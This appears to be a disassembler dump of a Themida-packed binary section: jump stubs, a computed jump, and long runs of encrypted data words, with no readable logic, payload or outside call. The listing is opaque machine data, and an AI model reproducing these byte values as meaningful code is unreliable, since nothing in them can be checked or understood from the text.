		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B2826h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B2903h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B29D2h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B2B16h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B2D5Ah
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B2E55h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 6Ah,	0Ch, 9Ch
		dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh
		dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 0D2D6FBCAh
		dd 0D495169Dh, 57C72468h, 81F1525Fh, 0FD249FBDh, 0F31086F2h
		dd 251A1C8Ch, 0B5C0AA7Bh, 3D013105h, 9BFB5286h,	20A3B916h
		dd 1693FBF9h, 824BEB1Bh, 5FC11EE0h, 2BFC9C4Eh, 0B41021EBh
		dd 79E94F44h, 0FBAA403Dh, 169354D2h, 80C9F49Bh,	9DBDC3FDh
		dd 3383h, 864F9700h, 8AD3D9D2h,	57412980h, 0DC6777A7h
		dd 169BF85Ch, 0C434B4E1h, 548ABEBh, 0F21693E3h,	4CB19847h
		dd 0EE9DBD2Bh, 0BEF868C5h, 0B3F929C1h, 0D000000h, 5F57C724h
		dd 9680F052h, 68AE1E9Dh, 0CD2E8DA6h, 86F2D3F6h,	0A6899A10h
		dd 3EEB9F70h, 0D0575CBDh, 0EC593660h, 1086F2A5h, 0BD587748h
		dd 86F7FAF8h, 575F610h,	0D040C370h, 7CA454E6h, 0B1040FA1h
		dd 0FBC3ECEAh, 9CD28048h, 825C6D16h, 585ECE31h,	0C2E88367h
		dd 55F0CEFEh, 108B76EAh, 8DA6B889h, 4BD8BD2Dh, 0FC057FE7h
		dd 4AC7D3A4h, 6D7F9865h, 5660B1BDh, 0DBAEEh, 0A8189600h
		dd 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh, 0D0C3C8DFh
		dd 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h, 0D3D2F7CEh
		dd 0D899169Dh, 56C62464h, 0A31370BFh, 0BAB66D2h, 0D8D903DBh
		dd 0A4FFEB5Bh, 169BF594h, 1686EA47h, 5B3B2F20h,	0A4E94C4Ah
		dd 511693F1h, 0E752F7E6h, 6D9DBD1Ch, 0C2h, 57C72449h, 59C92A87h
		dd 989983B1h, 46C3A717h, 0B9FC7CE4h, 0EC9D49B1h, 0CC09D3C3h
		dd 774A67BBh, 0C1DC8EDEh, 108614B3h, 27CE3EBDh,	0B0B7BF8h
		dd 1F8FF041h, 4E442617h, 7A647AAAh, 4A4CBC39h, 73C3307Dh
		dd 86A94C0Ah, 7411B9E4h, 0CBDC169Ch, 8CBC7C2Ah,	1C4713B2h
		dd 6D36108Bh, 0C5EF83DCh, 3158EB71h, 0BC1CABBCh, 0D3EBC4EBh
		dd 9EC5CDEh, 3A30981Ah,	3939A321h, 83AC1C9Ch, 8232D1ACh
		dd 4331B1BDh, 0CCEBFh, 94048200h, 5FCF3201h, 9C0C69B6h
		dd 56C62AF9h, 0A21270BFh, 0DCD7D4D3h, 1807EE5Eh, 0E14E2797h
		dd 0D22F363h, 6C573EAEh, 0D0BEE362h, 0BC3D169Dh, 56C62480h
		dd 0A31370BFh, 0C72466D2h, 0C52BB73Bh, 436C6155h, 89557A53h
		dd 0F2A9F053h, 43541086h, 0BD9F6DA7h, 86F2C306h, 0F199AA10h
		dd 0C253C340h, 76A0106Dh, 0E78EFE7Dh, 0D2A64BC6h, 21299CA2h
		dd 4C169BFBh, 3879637Bh, 724B4BBBh, 93F88ED3h, 0C5406D16h
		dd 0B8397A55h, 0E9DCA248h, 0E0429A5h, 0FE6ECDE6h, 0B1D2A60Ch
		dd 19C9CF12h, 0BA9DAEEDh, 413CD3EDh, 0EBF3DC18h, 3B68C58h
		dd 160011EBh, 9AA4D4A4h, 2BA23E2Bh, 0DB01DB15h,	4BCB2168h
		dd 4AFBCC19h, 194BCB07h, 7002D5E6h, 0CD843996h,	7A4B6B1Fh
		dd 0BB397A64h, 98724B4Bh, 318C189Bh, 4307EEC1h,	2A67AA19h
		dd 3506194Bh, 0E757D455h, 1D6D7516h, 8004F2B4h,	0BD3h
		dd 491017Dh, 0BB5ACA2Fh, 0FC990964h, 0C451C127h, 0FA9B0B6Fh
		dd 4FB3EE9Dh, 86E936DFh, 54B07F16h, 0A12211E4h,	6B736431h
		dd 9DD1B1D8h, 81BB3C16h, 5F57C724h, 0E9F525D9h,	9C0A265Ah
		dd 8BEC4516h, 2D9D181Bh, 427614E9h, 4A65D555h, 0B3BFBABh
		dd 90332933h, 1693E549h, 1C876334h, 10893744h, 0F1E6F8C9h
		dd 13B01F0Dh, 5ED8B234h, 0ACBBB6D7h, 0DC4CA81Ch, 0F868C9DAh
		dd 14BB22BEh, 9B45BCFh,	0D262BD40h, 0FA785DA3h,	0FADDB322h
		dd 5DA69674h, 82000000h, 6FDF624Fh, 0B258C824h,	36083808h
		dd 0B1080A21h, 9919229Eh, 8D380629h, 1086F844h,	0E2741627h
		dd 9C4BD863h, 0CB2A5716h, 4D625B5Bh, 54C44071h,	0ABDF04C1h
		dd 0F73C1693h, 3D120474h, 0EF5FDC4Dh, 13360DCFh, 0DA1693ABh
		dd 0DD5221C9h, 4BA7EF5Fh, 0AEBh, 5FCF3081h, 90846657h
		dd 3EBF0BABh, 0D8F7C8CEh, 11E93F06h, 0C90E16A2h, 0AB1A88F8h
		dd 169D4766h, 31233405h, 0E6DAB08Eh, 0DED309D5h, 5E15F159h
		dd 1CC189B8h, 59DA5733h, 94170CE9h, 0FE45AF2Ch,	0C7E8DFB1h
		dd 659569CFh, 0F3C5EA59h, 536410B9h, 0AFF2518Bh, 4E1CB1F3h
		dd 0F390B98Ch, 4A5B1CB1h, 0ADAF8565h, 306B9DA8h, 0D68A421h
		dd 8BA4999Dh, 21708CACh, 8169EFCAh, 32C33390h, 36A60B28h
		dd 0E454D754h, 0EFEBECB2h, 0BF5CBE66h, 0CB6B25C5h, 0AB040CA3h
		dd 8AA5CA1Eh, 2689AAB4h, 0A5E9D4B6h, 0E61AABF0h, 0BFF6FCDh
		dd 4C039AABh, 0FAB9E42h, 0A359D25h, 9B1B0000h, 54D54A2Bh
		dd 0A32211E4h, 6BCD6233h, 0A5051AFBh, 404B6035h, 987DED4Dh
		dd 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch, 4F92311Dh, 2E169DD6h
		dd 97B6CF6Dh, 501086F2h, 7BE80B0h, 16A211A8h, 0ED5DE2CFh
		dd 0E3FBD4A9h, 4AF9E3F9h, 169DD207h, 2970D5E6h,	0D4169DD2h
		dd 89EA27C3h, 0E1D27C19h, 0C8C5F161h, 0D20A4FF6h, 20F1169Dh
		dd 0DE6AC94Ah, 0DBACEA5Ah, 4A238D84h, 0E9C6E987h, 4B7B3BADh
		dd 0AC98D073h, 54651087h, 0BA8808C9h, 0D55D57B1h, 9A3h
		dd 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h, 0AEB5BDFh
		dd 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h, 0FBE3F481h
		dd 9DD70148h, 112BEC16h, 6DDD624Fh, 0BF2F8C7Dh,	7D096A77h
		dd 1EA39000h, 0A69581AEh, 6152A00Fh, 117C6EDEh,	97A81EACh
		dd 49F34h, 1F2D2A00h, 9E37AE7Fh, 0AB38DC8Eh, 4003DB0Bh
		dd 16A21147h, 0F8390516h, 0E06A0B7Bh, 5B7F7CF7h, 3AD0A2D1h
		dd 8AEE7AF9h, 8201351Ah, 169D085Bh, 97186414h, 8F360827h
		dd 1087F05Bh, 676F522h,	338D5429h, 0E0D6B1BAh, 90264h
		dd 80F04E00h, 4BBB3EF5h, 88F875AAh, 42B236EDh, 8EFE7CB3h
		dd 0C8FBB0E7h, 41BFA6Ah, 0CD6233A3h, 916FF6Fh, 685B3AAAh
		dd 0D4BADF66h, 0C041169Dh, 57C7247Ch, 0B3347D5Fh, 96AA743h
		dd 278E9D99h, 7BF93AB8h, 58320B0Bh, 0A81DD05Dh,	4025897h
		dd 0B6340000h, 1086F297h, 0BE80B050h, 76AF675h,	81AE9F97h
		dd 8CD2B895h, 90B98C52h, 5B1086F2h, 7405A04Ah, 716A211h
		dd 0A80B2836h, 65C65D38h, 8737C1F5h, 84BC8757h,	4910872Ah
		dd 0DD8A578h, 0A58FB1BBh, 86A1Dh, 1888E600h, 0D343A67Dh
		dd 2090ED42h, 0EA5ADE55h, 2696140Bh, 6053584Fh,	8CA372E2h
		dd 45DABB2Bh, 919E77E7h, 0A033C232h, 0D4C207BEh, 0E8A9169Dh
		dd 57C72454h, 81F1525Fh, 7FB4A695h, 0B3DE8CFCh,	1DB03D0Ch
		dd 713897A8h, 76000003h, 9C4EBE3Dh, 0F29DB678h,	0B9FA1086h
		dd 0FFD0C636h, 0A1D1A50Bh, 1172269Dh, 2AFB16A2h, 0D174314h
		dd 0A19C2496h, 969DB222h, 71C3A717h, 0C253C340h, 0C09E0E6Dh
		dd 989E0E73h, 0DF49C3A7h, 477F71Fh, 322A9B56h, 0CE82411Dh
		dd 2D108007h, 0FF37A704h, 6B3C5C0Eh, 0BA733392h, 268EA8B1h
		dd 7BFh, 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h
		dd 23873A71h, 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h
		dd 9DD5759Ch, 0C577F816h, 0B83BC724h, 422F6748h, 0A26551C1h
		dd 302EC4EBh, 86F24C95h, 6C1E2F10h, 68DB3CBFh, 1086F221h
		dd 41D4FBCCh, 0A81A0974h, 0C8F97h, 64CD0000h, 43F79303h
		dd 2A7B5h, 9DB6D100h, 561086F2h, 65D556A2h, 0B93F744Ah
		dd 6E704D49h, 86F2B2D7h, 82683910h, 115809BCh, 122316A2h
		dd 1484E74Ch, 0E151B281h, 69CAE7B5h, 0D7A711F9h, 7DB9298Bh
		dd 0B8970764h, 44FCC797h, 91080D5h, 43FC6538h, 0D1E3B1BBh
		dd 70671h, 7CEC4A00h, 0B7278A99h, 84F451DEh, 4EBE42F1h
		dd 8AFA78A7h, 0C4FFACEBh, 101FF666h, 0C9563FAFh, 51AFB6Bh
		dd 745F36A6h, 0DAB6DB6Ah, 0B435169Dh, 57C72488h, 81F1525Fh
		dd 14BBF295h, 15E050B3h, 630C49h, 7DEAE02h, 0C52863h, 1C4B97A9h
		dd 81000000h, 5516B054h, 55B00D31h, 0F3DCB1E5h,	0F1B52317h
		dd 0F3000001h, 0C9CD3DBEh, 0B61E16F4h, 1086F29Ch, 6777A757h
		dd 0A21136DCh, 0D8E6B716h, 0D21A3F06h, 0B4E1169Dh, 2E8C737h
		dd 893C223Ch, 169DD240h, 9C191A2Bh, 7515EA2Ch, 2EC737B4h
		dd 24128201h, 0ACB2E296h, 70ABACB2h, 0CA44D745h, 21A7EA5Bh
		dd 7546169Dh, 26722695h, 0C3991080h, 0B625D900h, 5E83421Ch
		dd 1D1CB625h, 0E783940Ch, 0AC17E6B7h, 37B1BA90h, 629B53Dh
		dd 0C7270000h, 1071BE57h, 0DF5ED5A0h, 1799866Fh, 0E161CEA7h
		dd 8407A471h, 5C39A909h, 25F060C7h, 573EAE0Eh, 1AFB6BC8h
		dd 0FB1EA5A9h, 82169DDBh, 0C7243B01h, 0F1525F57h, 1F9C9581h
		dd 0D4C23293h, 0D1E2D4FBh, 0B5120474h, 5F0AD904h, 0C3408736h
		dd 0C4268B53h, 7D6D6254h, 1A36C3EEh, 19BE97A8h,	0FC000000h
		dd 0FE3E63E2h, 0FBBD1086h, 86FE0148h, 0F4DBEC10h, 1B51E16h
		dd 0D1000001h, 86F29CB6h, 77A75710h, 113EDC67h,	0EEBF16A2h
		dd 0F060E3D0h, 21AD0E25h, 1EE72F9Fh, 7766EBC7h,	6E416E7Eh
		dd 0ED4D6628h, 0A644397Dh, 421C4CECh, 5E83421Ch, 1D169D71h
		dd 7170990Ch, 2AFB169Dh, 9347FE40h, 5A108076h, 0E23FB449h
		dd 8EA8B1BAh, 55A26h, 878F600h,	0C333B66Dh, 1080FD32h
		dd 0DA4AAE85h, 1686E43Bh, 3063287Fh, 9C9362D2h,	55CAAB1Bh
		dd 0A18E67D7h, 0F0E3B222h, 0DB3257EEh, 38B9169Dh, 57C72404h
		dd 81F1525Fh, 0AC1C9C95h, 6EFA796Ah, 0A29B9B0Bh, 8E15898Dh
		dd 6C25C41Fh, 0C4258641h, 86F2D801h, 0BD92A310h, 1A60CDD8h
		dd 0B10297A8h, 0E7D8DE4Eh, 0DBDB4BACh, 141C08E2h, 0F0000000h
		dd 37B5h, 3DBEF300h, 0F52F1CDh,	0EE1086F2h, 24052DDDh
		dd 525F57C7h, 199581F1h, 575FA37h, 0FC3AAA0Eh, 7D306703h
		dd 9C79E94Ah, 0F019ACB2h, 7B1086F2h, 19E4C0AAh,	0B8000000h
		dd 5F57C724h, 86F2B8E4h, 7669D010h, 43B3377Ch, 0A3907A53h
		dd 57E5B020h, 5F57C724h, 56D925D9h, 0D6F969CAh,	0FEC0EFE0h
		dd 0A211F147h, 97A77816h, 0A50590C5h, 0A5D10FA8h, 9D2EFB1Eh
		dd 9EB18216h, 0B4AA0B9h, 8F7BD7E4h, 0E4B121A2h,	3A7CEC4Fh
		dd 0DEE010B0h, 0DE4EB300h, 8E252D5h, 0B9CA169Dh, 3A041510h
		dd 39A90F24h, 0F363E051h, 508AEAEBh, 335FBC23h,	84E73C57h
		dd 0E8982214h, 0FF1FA6B8h, 7E1AAA6Bh, 8BC009BCh, 9AAB02CDh
		dd 0EF5DE8B5h, 787EAB9Fh, 416FCh, 4CBC3A00h, 87F77AA9h
		dd 54C441EEh, 9E0E72C1h, 5ACA28F7h, 0F4AFDCBBh,	0C06F0676h
		dd 0F926CF3Fh, 0B56A0B7Bh, 0A42FC636h, 0D9C60BBAh, 0E4A5169Dh
		dd 3BC72458h, 0EB4D46B6h, 6D423B7Bh, 0A8189B88h, 86F6756Eh
		dd 9420A390h, 9C71A515h, 96E83B3h, 0B3DA9D99h, 7B32D70Ch
		dd 0A0107354h, 1A5DE0D5h, 43E397A8h, 0B7000000h, 3DB0BABh
		dd 9C41FF40h, 91AD7E16h, 1B9824A0h, 0BD926BABh,	0BDB6DDD8h
		dd 4BA81693h, 0BF7338E3h, 1B346DEDh, 0D747A57Ah, 38163DFh
		dd 7C590000h, 71CC65BDh, 0A99E3601h, 1B002037h,	0B8C46DADh
		dd 0BAB6AD2h, 444003DBh, 19169C1Ah, 5B7E4517h, 221693DAh
		dd 0DA6DB411h, 3F101693h, 87E54E10h, 3C2E1F17h,	0F262E1D2h
		dd 1AC52CC4h, 8A548434h, 0DAA8F154h, 42531693h,	0B72F96A8h
		dd 0C6108932h, 0F53E20F5h, 3B140272h, 0D0979F8h, 0A0605A30h
		dd 0EFD76E70h, 0C1AB64Bh, 37D343A7h, 7380B687h,	3813A70Fh
		dd 37E72A99h, 0B58602B9h, 6FB8F6A2h, 6B6F5640h,	4472E246h
		dd 0C5F89F4Bh, 80022F2Dh, 0F76CB510h, 3E0F02B9h, 0F77CA520h
		dd 2EFF02B9h, 72A2563Ch, 1FEDD96Ch, 5F7004A3h, 9A0A69B6h
		dd 0B424879Ch, 0F525D9E1h, 0D6265AE9h, 96A70ECFh, 0F399BEA0h
		dd 29E27A16h, 0D38134CBh, 0A8872968h, 0C6BAE3C2h, 0CC430EEFh
		dd 9F2011E1h, 7416E72Fh, 1151B439h, 493CB6h, 0AB500000h
		dd 4003DB0Bh, 169BF5F0h, 4F92312Bh, 2E1693F1h, 0BE443F25h
		dd 2906F99Fh, 4A4C5D41h, 6F0B5384h, 0D4827DB2h,	0ACEA5ADFh
		dd 418C37D3h, 2E169349h, 1BA70B28h, 10ED2999h, 79644B3Fh
		dd 0BDD56DD0h, 0BDF39Dh, 24C70000h, 525F57C7h, 9D9680F0h
		dd 7B68AE1Eh, 9C0C6CF8h, 0EB8AA59Ah, 86F7A8C6h,	0F767C410h
		dd 1F17EEE7h, 23918AB6h, 482292F0h, 575F62Dh, 0A7D7A711h
		dd 5F002C97h, 0F825169Bh, 300D0979h, 0DFD4761Fh, 9802E858h
		dd 1FA6B8E8h, 108B33FBh, 88149582h, 8479BD2Dh, 0E93093ABh
		dd 941CABABh, 0A192AC83h, 45B6B921h, 1713BCF5h,	64C65D38h
		dd 0BB9829F4h, 2D47B1BDh, 1D2C5h, 90007E00h, 5BCB2E05h
		dd 980865BAh, 52C226FDh, 9E0E6CC3h, 0B8EBA0F7h,	0F42BCA3Ah
		dd 0BD720373h, 0F926CF3Fh, 586B0A7Ah, 0DF8ACF76h, 0F071169Dh
		dd 61864F4Ch, 231D4084h, 0C141F298h, 0C6FC451h,	0AB33F99Ch
		dd 4003DB0Bh, 169BF5F0h, 4F92312Bh, 2E1693F1h, 78496D1Dh
		dd 0F196B73Eh, 5D5F1693h, 3264D454h, 0DB02AD5Dh, 0BD1D0B6Eh
		dd 0F3919Dh, 4FA50000h,	9A70E062h, 0AB91A99h, 1086F2C7h
		dd 7CBA95A6h, 0A3930367h, 86F7D220h, 0ED5DDE10h, 30981B08h
		dd 9A4C62E1h, 31A107DAh, 42D311Eh, 0D75535A5h, 355CE7F5h
		dd 0B8108610h, 6C8A7EFh, 123DEF64h, 2550794Ch, 0A1B1086h
		dd 5E863A60h, 0FA2BA6BAh, 5866496Ch, 9BA641EDh,	63E2E416h
		dd 1693A73Eh, 45A7ECBDh, 0C3ECE1D5h, 84B48432h,	0CC280BBAh
		dd 7647108Bh, 77E74B68h, 0C131919Eh, 0BE6AA53Ch, 0BC383EB1h
		dd 0D7h, 0E88DFD79h, 0AF46B63Bh, 950580h, 0B85DCD33h, 0FE97076Bh
		dd 4BAFE2A9h, 82E53ADBh, 50AC8312h, 9D1E15E0h, 4F7F482Dh
		dd 9DDCADF4h, 6DCF5016h, 73E3624Fh, 0A8189A97h,	0AD1D9D96h
		dd 281AEBDh, 9581F176h,	0F2D5FCC7h, 87981086h, 0A5B787A8h
		dd 86F2FB1Eh, 5C08210h,	1086F2DCh, 96A18E9Fh, 97A30502h
		dd 115C0E62h, 57C7242Bh, 81F1525Fh, 89F974BDh, 0BBDAB08Dh
		dd 431B4BEBh, 2B9B1819h, 4D7812EBh, 16A21162h, 0ED063001h
		dd 0D3771E8Eh, 0ED173A09h, 0C5D6169Dh, 1787E425h, 454CA41Fh
		dd 5AC13623h, 67D75473h, 0B222A18Eh, 0B22287ACh, 35DF8B84h
		dd 4A4CBC3Ch, 0F3525F6Bh, 0FDB0E783h, 1CF969CAh, 234A407h
		dd 0A82h, 0F57BB800h, 0CEBC9185h, 244B2F66h, 475C5ACAh
		dd 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh
		dd 433066D6h, 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4EB8300h
		dd 31241C33h, 1C33241Ch, 0AB685C24h, 8900003Dh,	0D868243Ch
		dd 8900000Fh, 0BE56241Ch, 63585580h, 0D107EEC1h, 0D8F796E6h
		dd 8EF68196h, 812B0949h, 0FF1B54CEh, 2EEE817Eh,	89F9E4BFh
		dd 8B545EF7h, 0C483241Ch, 0BB535704h, 0AB4193Dh, 4245C31h
		dd 8438F5Bh, 3D087381h,	0FF0AB419h, 835B2434h, 34FF04C4h
		dd 0C4815F24h, 4, 0FA4E85E9h, 63B9C2FFh
		db 97h,	15h, 7
; ---------------------------------------------------------------------------


loc_5DCA03:				; CODE XREF: Themida_:005DB9E4j
		mov	eax, 61B2F51h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 0C80ADA2h, 77F6B16Eh, 378A5192h, 48443798h, 52E20001h
		dd 2B2C7EE2h, 45AA1D82h, 1A53354Ah, 9A65780h, 18AE9h, 0E6470C00h
		dd 0D52C2710h, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h, 9752E45Bh
		dd 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h
		dd 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh,	0BA9755FCh
		dd 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h
		dd 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh
		dd 43h dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 2 dup(0)
		dd 0E9000000h, 1001h, 1B336368h, 173EE906h, 6D68FFFBh
		dd 0E9061B34h, 0FFFB1734h, 1B363268h, 172AE906h, 0E368FFFBh
		dd 0E9061B36h, 0FFFB1720h, 1B380168h, 1716E906h, 0F568FFFBh
		dd 0E9061B38h, 0FFFB170Ch, 1B398968h, 1702E906h, 3968FFFBh
		dd 0E9061B3Ah, 0FFFB16F8h, 1B3B4D68h, 16EEE906h, 0C968FFFBh
		dd 0E9061B3Bh, 0FFFB16E4h, 1B3C9768h, 16DAE906h, 3468FFFBh
		dd 0E9061B3Dh, 0FFFB16D0h, 1B3DCA68h, 16C6E906h, 0E668FFFBh
		dd 0E9061B3Eh, 0FFFB16BCh, 1B401868h, 16B2E906h, 0BCB1FFFBh
		dd 4C44CFC1h, 0BAB45F31h, 4E36C1C3h, 0C0B25D2Fh, 7E6CCBBDh
		dd 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h, 62621B12h, 94C1BDAAh
		dd 0A723ACh, 9F863D95h,	0F36A13FAh, 0DF6AF33Ah,	863395E8h
		dd 724CDB2Ah, 0B353E814h, 0B6901940h, 0A729D6E3h, 7DF96905h
		dd 6BECEF2Ch, 0D3827C6Fh, 0C1A729DEh, 4BAEE298h, 20000000h
		dd 0D7D76CC4h, 0AD3EDEBAh, 0E9062FDAh, 53E1F90Dh, 0A6A0B5B3h
		dd 0E57C01F3h, 0B55C052Ch, 58F9E57Ch, 6AA729DBh, 88D5B186h
		dd 14A729DBh, 0F8950C65h, 47F9700Dh, 0C5ADC55Dh, 3108B1B8h
		dd 0BC38AC4Ah, 6BECF7EBh, 0D00Bh, 9F86BD00h, 482AC7DEh
		dd 0A6A12C35h, 6B4B58D7h, 0AD3EDF2Eh, 0EC73BB6Eh, 27564EFFh
		dd 0F49FD77Eh, 2A0484F9h, 0AD3EE339h, 0FF7A28Dh, 755AF76Eh
		dd 0EB083108h, 0DA5FFEF8h, 0C3DAD3Eh, 0B0976266h, 0B977D4CDh
		dd 55817D6Ah, 41B353EEh, 0B0D31F32h, 4A23C4A6h,	2473CD7Ah
		dd 28042707h, 79A0AD41h, 840EC97Ah, 53ED3CA3h, 8D7F0E1Bh
		dd 293A0F0h, 3522C0Bh, 91AD3BE7h, 0AAE991E8h, 435FB5C8h
		dd 4DFA0790h, 0D8E32D4h, 4E90000h, 846C1779h, 2EC97F9h
		dd 867E097Bh, 8EA95F7h,	26941375h, 3597E6CCh, 0B818654Ah
		dd 3597E6CDh, 0AA1A634Ah, 5CF9F5F2h, 38A723ABh,	0A486F54Dh
		dd 210CF7D9h, 8C3F6C5Ch, 26BC10EFh, 0ABD2B7CFh,	0FC32FBB2h
		dd 0AD99248Eh, 0B57C01ECh, 5C2D05ACh, 989695E4h, 0B353E2A2h
		dd 74211D0Eh, 4EA729DBh, 0D77E2756h, 0C895DD8Ch, 7B1E08A1h
		dd 47A729DBh, 5901964h,	4512D0Ah, 90A729DCh, 621990E9h
		dd 8CC6E054h, 46C3237Ah, 72FC73BAh, 1B018602h, 0B9F56BECh
		dd 0C7000000h, 0E4B39924h, 1D6286CDh, 0A8C178C2h, 230A49F1h
		dd 6A270714h, 2AAD3E3Bh, 3B5603FFh, 1346AD3Eh, 0C4A6435Ah
		dd 55D6B0B9h, 0F1AD3E40h, 7A0587F6h, 1473EA93h,	0E0DE4D9Ch
		dd 0B3534B32h, 68D5B762h, 0CAB39DD0h, 7BB2CBBFh, 0D8CE7F6Ch
		dd 0AB6FCDA5h, 0EBAD40D2h, 2E24B13Eh, 0A5307D4Fh, 1ED7CEAFh
		dd 26573D58h, 77BBE32h,	8F33EEFAh, 0C84h, 97B02F3h, 91F38A7Eh
		dd 0B7D00E6h, 97F98480h, 157706ECh, 0E4C62096h,	634C3799h
		dd 0ECDFAA1Ah, 59543F91h, 0FFECA424h, 23AA52FFh, 0FB5342A7h
		dd 5AD9A486h, 0DF306D49h, 0D96CAD3Eh, 601990EDh, 0A26D6119h
		dd 44F2D2ABh, 0A4F89F86h, 60BA0B4Bh, 0DE6F7CB5h, 670E97E6h
		dd 12FD980Fh, 14AC196Bh, 0BA4826C5h, 0DAB35404h, 94C362Fh
		dd 0DFA729BAh, 334A41CCh, 0C1AB832Ah, 0D5F4B531h, 14A76BECh
		dd 83588B53h, 28680E4Fh, 72h, 1D6CC49Ah, 7BA300Eh, 0E9DAB354h
		dd 29B5500Dh, 0E7374CA7h, 566EC861h, 821B521Bh,	29D7F598h
		dd 0EF83F3A7h, 0ECF03673h, 44C26Bh, 0C4F40000h,	300E1D6Ch
		dd 0B35406EEh, 0D8858172h, 0F0A729B6h, 0BCFF6C68h, 29500BB5h
		dd 3C651451h, 296B2F62h, 9BAB9A7h, 0D8291864h, 119BD3A2h
		dd 3B6425A1h, 24376BECh, 29130B4Ah, 9AE089A7h, 1EF6h, 9724C800h
		dd 0F70750AAh, 1802B8E9h, 9FEBC0CFh, 7AFE90E6h,	35000008h
		dd 0C2DBA288h, 0C465630Bh, 0BAD7D76Ch, 0DAAD3EDEh, 0DE500DE9h
		dd 1D4CAD3Eh, 84923754h, 89D60E1Fh, 8D4343B0h, 75B35989h
		dd 69FDEC8h, 0B3E274Fh,	27B711Ch, 1FACBF2Ch, 0EC2BD676h
		dd 8BE34Eh, 6D187805h, 0FFECFB82h, 1A24594Eh, 0A723CE7Bh
		dd 1F4AF019h, 4F4578D0h, 717E372Eh, 23CEC895h, 0CCA5D4A7h
		dd 0FF385F5Fh, 0AD5CAD3Eh, 0FF988F3Eh, 9713BC9Eh, 7A03EA80h
		dd 2A032AE3h, 0C5C04D5Ah, 0DCD382B8h, 7A0B08A1h, 6846E598h
		dd 0AD3EB529h, 1B78BE6Bh, 782D689Dh, 0E862EDC2h, 0F2A4A291h
		dd 0A2B353E4h, 7211A177h, 0B673FC10h, 0ABF14h, 0AAD3B800h
		dd 423B2FDAh, 0ACD1B742h, 483531DCh, 0A6D7BD48h, 0F7118726h
		dd 9D686815h, 3CC7C9B4h, 0DDA82855h, 61398BF2h,	0A8CB8A64h
		dd 0DCC9A723h, 0E0163766h, 4EEAAD3Eh, 6B65F0FFh, 8CE28B12h
		dd 0E599F9Fh, 0CC7DB35Ah, 0A2F14FFCh, 0DE5BA985h, 0CA7FAD3Eh
		dd 0E4B5B05Dh, 0E8E891ECh, 59240ABBh, 1E7B7221h, 861F5627h
		dd 0B3408F29h, 5A0D94D3h, 83FCCB3h, 0C4B99B55h,	4E332787h
		dd 1D0A3F28h, 90227570h, 96EF077Fh, 12FDCFA6h, 5F3B621Bh
		dd 27231930h, 0D44378D0h, 0E0C3C5E3h, 0EE8072Eh, 2D387368h
		dd 0BD3F1544h, 0CF7A0BC7h, 0A0EB052h, 84690000h, 4EC97F9h
		dd 826C1779h, 6FE89FBh,	886A1577h, 0A61493F5h, 0B517664Ch
		dd 3898E5CAh, 0B517664Dh, 2A9AE3CAh, 0DC797572h, 0B8A723A8h
		dd 6CC475CDh, 8D7F0E1Dh, 0DE8DCCAAh, 5A0FAD3Eh,	2AB97413h
		dd 0AEB8E736h, 358B6B88h, 71B3593Dh, 0DC95E8E4h, 0BAF5C4Fh
		dd 16CA948Eh, 0E9E46FC7h, 0EBDFBAB0h, 0BC2DB92h, 0B0976262h
		dd 97EAA787h, 7FAAA723h, 0E860AFB6h, 709C9A99h,	8CAD3EC8h
		dd 0A28910F9h, 620B92DBh, 0AE0C2125h, 930E435h,	0CEAF9EAh
		dd 0AD3E2D4Dh, 39541A4Fh, 0B25D2F4Eh, 4C9BC2BBh, 0A886A5F4h
		dd 0B3595E1Fh, 0E69794C5h, 0E4717EFFh, 0C4B9B0E9h, 0D4C1C56Dh
		dd 8E180127h, 0E78F7DD6h, 0A5BCC1ACh, 237098B9h, 81D068A7h
		dd 0A0F09472h, 7DACAD3Eh, 95E8DF6Eh, 7157E633h,	80A9E8C6h
		dd 3EEBAD3Eh, 19143FF7h, 52EE3D64h, 0BA0AE403h,	0DEB359B0h
		dd 8835322Bh, 0BC2DBA2h, 7073221Ch, 0F821A723h,	0A8F75142h
		dd 947BAB8Bh, 0EE1BAD38h, 0B26642Ah, 8D21D8FAh,	8F0h, 0F5D7A687h
		dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h
		dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 23A6B6E3h
		dd 1F6FE6A7h, 16FA9F86h, 0BBB33E67h, 3BF29BC2h,	0D17C6BF2h
		dd 0BECDA5D8h, 22AFB6C7h, 0BB564F2Eh, 6B3AAD3h,	84EE089Ch
		dd 0DC801BDDh, 59DD5E17h, 0C7B6B1C9h, 69D1D6C5h, 7257201h
		dd 97000000h, 4F27Fh, 48823100h, 0E5989441h, 6C5D15BCh
		dd 886685D4h, 0B353E88Ah, 0ACE9C5D6h, 0E8A729D5h, 85D4B241h
		dd 17A729D5h, 26530C62h, 0A72A85A1h, 0B3627A35h, 1879C1BCh
		dd 33E251A0h, 8B263F3Eh, 24CDD4A9h, 2A04254Dh, 0DE352E78h
